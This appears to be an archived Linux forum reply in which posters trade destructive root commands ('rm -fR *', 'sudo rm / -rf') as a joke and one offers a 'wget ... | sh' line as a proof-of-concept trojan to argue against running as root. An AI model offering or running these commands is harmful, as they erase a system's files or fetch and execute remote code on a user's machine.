Re: Ïîìîùü àñïèðàíòàì 35802

DenverD wrote:
easy for you to say!

but, try again after 'su -' to root then
cd ..
rm -fR *

To much complicated. 3 lines? What for.
sudo rm / -rf

(To people trying this out, these commands will delete everything on
your HDs that are readwrite, so no real danger, as your backup is
read-only. Right?)

Or `wget houghi.org/trojan|sh trojan`

The above is a proof of concept of a trojan for Linux. Also the `trojan`
is a very simple bash script. However it would be possible to make any
kind of excacutable and do this. A while ago there was a vurlnarability
that allowed people to become root. If you would have released this in
the wild, you could have killed several systems.

The difference is that there always will be a need of verification to
become root. And that, my children, concludes the lesson for this day on
why you should never be logged in as root or give a standard user the
same rights as root.

houghi
--
Remind me to write an article on the compulsive reading of news. The
theme will be that most neuroses can be traced to the unhealthy habit
of wallowing in the troubles of five billion strangers. -- Heinlein
.

Relevant Pages

  • OSX - trojan apps can bypass authentication controls and gain root privilages
    ... OSX can be root compromised by a trojan application. ... application does not require explicit user authentication to elevate its ... or by another application that leverages sudo to elevate it's privileges. ...
    (Bugtraq)
  • Re: firewall securing outgoing traffic?
    ... > real damage (you must run the trojan as root, ... users run their system as root anyway, ... > problem on Linux ATM. ... clerks and pizza-boys (who do work with computers) are not supposed ...
    (comp.os.linux.security)
  • Re: Remove all admin->root authorization prompts from OSX
    ... Being a member of the admin group is NOT 100% equal to being root. ... A trojan that gets control of an admin's session should not be able to escalate itself to root without a password prompt, which requires a human to decide yes I do want to increase the authority of this process. ...
    (Bugtraq)
  • Re: Mac Security: Porn Codec Mac Trojan OSX.RSPlug.A
    ... 'sudo' to take advantage of this little flaw. ... the recent Porn Codec Trojan. ... root that way. ... of a shell program like bash or ksh. ...
    (comp.sys.mac.advocacy)
  • Re: Remove all admin->root authorization prompts from OSX
    ... Maybe a cracker could write a trojan that esclates itself using the powers of the admin group, but why make it easier for those who don't know how? ... host:/tmp1 sysmsimkin$ id ... host:/tmp1 root# exit ...
    (Bugtraq)